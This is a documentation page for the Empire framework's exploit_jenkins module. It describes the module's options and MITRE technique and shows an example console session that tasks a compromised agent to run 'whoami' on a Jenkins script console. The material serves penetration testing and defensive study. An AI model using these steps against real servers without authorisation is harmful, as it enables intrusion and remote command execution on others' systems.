Exploit-Jenkins - Empire Module
This page contains detailed information about how to use the powershell/exploitation/exploit_jenkins Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Exploit-Jenkins
Module: powershell/exploitation/exploit_jenkins
Source code [1]: empire/server/modules/powershell/exploitation/exploit_jenkins.yaml
Source code [2]: empire/server/data/module_source/exploitation/Exploit-Jenkins.ps1
MITRE ATT&CK:
T1210
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The exploit_jenkins module runs command on unauthenticated Jenkins Script consoles.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the exploit_jenkins module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the exploit_jenkins module:
Agent
Agent to run module on.
Cmd
command to run on remote jenkins script console.
Default value: whoami.
Port
Specify the port to use.
Default value: 8080.
Rhost
Specify the host to exploit.
Exploit_jenkins Example Usage
Here's an example of how to use the exploit_jenkins module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/exploitation/exploit_jenkins
Author @luxcupitor
Background True
Comments Pass a command to run. If windows, you may have to prepend "cmd /c ".
Description Run command on unauthenticated Jenkins Script consoles.
Language powershell
Name powershell/exploitation/exploit_jenkins
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1210
,Record Options--,----------,----------------------------------,
| Name | Value | Required | Description |
|-------|--------|----------|----------------------------------|
| Agent | | True | Agent to run module on. |
|-------|--------|----------|----------------------------------|
| Cmd | whoami | True | command to run on remote jenkins |
| | | | script console. |
|-------|--------|----------|----------------------------------|
| Port | 8080 | True | Specify the port to use. |
|-------|--------|----------|----------------------------------|
| Rhost | | True | Specify the host to exploit. |
'-------'--------'----------'----------------------------------'
(Empire: usemodule/powershell/exploitation/exploit_jenkins) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/exploitation/exploit_jenkins) > set Cmd whoami
[*] Set Cmd to whoami
(Empire: usemodule/powershell/exploitation/exploit_jenkins) > set Port 8080
[*] Set Port to 8080
(Empire: usemodule/powershell/exploitation/exploit_jenkins) > set Rhost 192.168.100.1
[*] Set Rhost to 192.168.100.1
(Empire: usemodule/powershell/exploitation/exploit_jenkins) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/exploitation/Exploit-Jenkins.ps1
- http://attack.mitre.org/techniques/T1210
- http://twitter.com/luxcupitor
See Also
Check also the following modules related to this module:
- powershell/exploitation/exploit_eternalblue
- powershell/exploitation/exploit_jboss
- powershell/exploitation/invoke_spoolsample
- python/exploit/web/jboss_jmx
- powershell/lateral_movement/jenkins_script_console
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
